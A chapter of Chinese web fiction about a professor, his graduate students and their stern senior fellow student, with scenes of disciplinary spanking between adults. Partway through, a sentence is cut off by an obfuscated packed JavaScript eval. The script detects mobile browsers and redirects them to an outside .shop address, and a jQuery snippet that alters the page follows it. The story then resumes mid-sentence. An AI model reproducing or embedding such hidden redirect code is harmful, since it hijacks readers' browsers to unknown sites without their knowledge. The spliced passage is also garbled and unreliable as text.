刘巍思没有等到大师兄来,却等到了柏阅冬高高兴兴地挥手跟他们说再见。走的那天,柏阅冬拉着他的小皮箱,穿得人模狗样的,头也不回就跑了,不知道的还以为他去会情人呢!
哦,他真是去会情人,再过两天,秦嘉辰就会过去了。
刘巍思和庄遂平相视一眼,心知肚明,谁也没说话,一起回去了。
今日天气顶好,庄遂平的兴致却没那么高,刘巍思忍不住问:“遂平,你有心事吗?”
“没,”庄遂平勉强笑了笑,“等会要去见老师。”
唉,遂平每回去见纪老师都得挨打,上周屁股还没好吧,又要去见。刘巍思万分同情他,却不知如何安慰,只得道:“纪老师是看重你。”
之前郑旭也说过类似的话,庄遂平多多少少信了些,今日的心情已是比之前松快了不少,笑着点了点头。
纪慎知道,柏阅冬一走,他们这个项目就相当于放暑假了,但是他居然听到庄遂平说要继续校对。
“一直校对,那你的毕业论文还写不写?”
庄遂平早有准备,面对愠怒的老师,不慌不忙回答道:“做,都做,我只是不想把校对的工作放这么久,到时候再捡起来,又要重新适应。我不会耽误毕业论文的,老师就让我做吧。”
纪慎轻哼一声,似是不满,眼神却蓦然温和了下来:“说说你的选题。”
“我还是想继续做吴梅村,但是他的文献不少,我想研究以《圆圆曲》为代表的梅村体。”
“可以,但是研究这个,不代表你可以只看这部分文献,跟吴梅村相关的文献,包括他的作品、相关史料、类似的诗人都要看。”
“我明白。”
这一回的聊天很平静,纪慎难得地没有生气,待一个上午过去,他才发现,今天庄遂平竟然没什么讨打的言行,倒让人很意外。
其实庄遂平也很惊讶,他每一次说话都要在心里想着“老师看重我”,强压着心底的恐惧陈述自己的看法,不止一次地看向桌边的那柄戒尺,可没想到,老师一直没说要打他。
也许,就像师兄和巍思说的那样,老师真的是看重他的,并不是一味虐打。
到了告别时,庄遂平几乎有些恋恋不舍了,说了两次再见才慢慢退出办公室,门一关上,竟忍不住高兴地跳了起来,像个小孩。
而办公室里的纪慎,罕见地微笑着摇了摇头。
那一头,刘巍思在外面溜达了老半天,又吃了午饭才回去,本以为这个点老师已经休息了,还特地放轻了脚步和开门的动静,却不想,门才开一个缝,就听见老师爽朗的笑声,再一瞧,那陪着老师说话的不就是他心心念念的大师兄?
刘巍思第一反应不是高兴,是尴尬,关了门就手足无措,讷讷地唤了声:“老师。”
易堂生淡淡地看了他一眼,没有说话。严先生仍是笑着,招招手:“今天你大师兄来做饭,本想跟你一块吃午饭的,谁知道你这么迟才回来?送冬冬走了?”
“嗯,”刘巍思浑身僵硬,走起路来差点同手同脚,“我在外面呆了一会。”
严先生看看这师兄弟俩,一个是绝不会拉下脸来哄师弟的兄长,一个是最想等着人去哄的小孩,只靠他们两个,恐怕这辈子都说不上话,还是得自己推一把。
“我和你大师兄刚说到你呢,你就回来了。”
刘巍思跟个大姑娘似的,心突然紧了一下,分明还低垂眼眸,却偷偷往大师兄那儿瞟了一眼,强作不在意似的:“说我什么?”
声音一抖一抖的,是个人都听得出来。
这要是换了个人,都得觉得这师弟可爱,可偏偏这是最最古板的易堂生。见他这模样,大师兄只是不满地哼了一声,质问道:“今儿是周末,你不陪着老师,到处跑什么?”
“我没有乱跑!”刘巍思一下就被激起来了,说完才反应过来这是大师兄,立刻换了平和的语气解释道,“今天阅冬要走了,我跟遂平送送他,老师都知道的!”
“这倒是,堂生你可别什么帽子都往巍思头上扣,不然他又要委屈了。”严先生说着倒了杯茶递给易堂生,易堂生忙双手接过,也知道这是老师在暗示什么,只得放过他,又问:“你那文章给编辑了?”
这可真是拿人手短吃人嘴软,文章的事刘巍思受了他大师兄的恩惠,再怎么也硬气不起来,只得好声好气道:“已经给了,也准备排版了,那个……谢……谢谢……”
“大男人说话扭扭捏捏的做什么?”
怎么都被说,刘巍思简直要郁闷死了,偏不能发脾气,只好逼着自己抬头挺胸,大声道:“谢谢师兄!”
那梗着脖子瞪着眼睛的模样,简直跟报告长官似的。
严先生被他逗笑了,易堂生却不笑,又轻哼一声,道:“得你一声谢,还真不容易。”
什么嘛?不谢也不行,谢了也不行?
刘巍思胸口憋闷,道:“我知道错了,我不该跟大师兄闹脾气,差点辜负了师兄的一片心意。”
认错认得很敷衍,却已经是刘巍思的极限了。
易堂生没在言语上过分为
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14244545|143212||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
难他,只问:“知道错了,然后呢?”
然后,然后就……刘巍思一脸愠怒,分明知道接下来的发展了,就是不肯说——他不是不愿意挨打,只是他虽错了,大师兄也没有处理好事情啊,为什么大师兄可以当作什么都没发生,一来就要打他?
他又道谢又认错,难道大师兄就不用说一句错了?
严先生一眼就看穿小孩的心思,可又知道大弟子是绝无可能在师弟面前承认自己错的,便笑道:“说到底还是怪老师,老师没当好中间人,巍思不跟老师计较了吧?”
刘巍思拉着嘴角,几乎要哭了:“我没有跟老师计较,我知道自己错了。”说罢,不自觉地看向大师兄,只见大师兄板着一张脸,等待什么不言而喻。
“大不了,”刘巍思嘟囔着,“就给你打几下嘛!”
“你说什么?”易堂生沉声问,满是警告意味。
“我说,请大师兄责罚!”喊得很大声,倒像是跟易堂生对着干。
严先生又笑出了声,双手撑着膝盖起身,道:“你们师兄弟俩该怎么办就怎么办吧,我去睡一会,年纪上来了,顶不住了。”
易堂生忙跟着扶上,恭敬道:“老师,学生扶您进房去。”
眼见大师兄扶着老师走了,刘巍思无聊地踢了几下沙发脚,扭头往书房去了。
进了书房也是不能好好反省等着受罚的,刘巍思站在那根竹鞭前,手指抠着其中一根竹篾上微微凸起的竹节,好像那不是什么家法教鞭,只是这房里一个可有可无的小玩意儿。
易堂生到书房门口的时候,就看见刘巍思那个一点敬意也无的背影,当真十分欠揍。
“那是你能玩的东西?”
刘巍思像被蛇咬了一口,猛地缩回手,不知怎么的指尖发烫,慢慢地回过身来,明明心里放弃了抵抗,可眼皮一抬,还是带出了些委屈:“我错了。”
易堂生踱步进来,冷声道:“你错的事情多了去了。”
“反正有了姜新宇,我就入不了大师兄的眼了。”不管怎么样都是挨打,刘巍思也干脆豁出去了。
“少扯新宇进来,人家能干出你这种事?”易堂生越看他越生气,一时间都顾不上找什么刑具,拽着他的手一扯,将人按到桌上,扬起巴掌就抽了下去。
“啊!”刘巍思被惊到了,不是疼的,而是这亲昵的方式,一直以来只有老师会这样做的。
易堂生看他一点也不安分,一脚踹在他小腿上:“给我趴好了!今天不收拾你,你不知道大师兄这三个字怎么写!”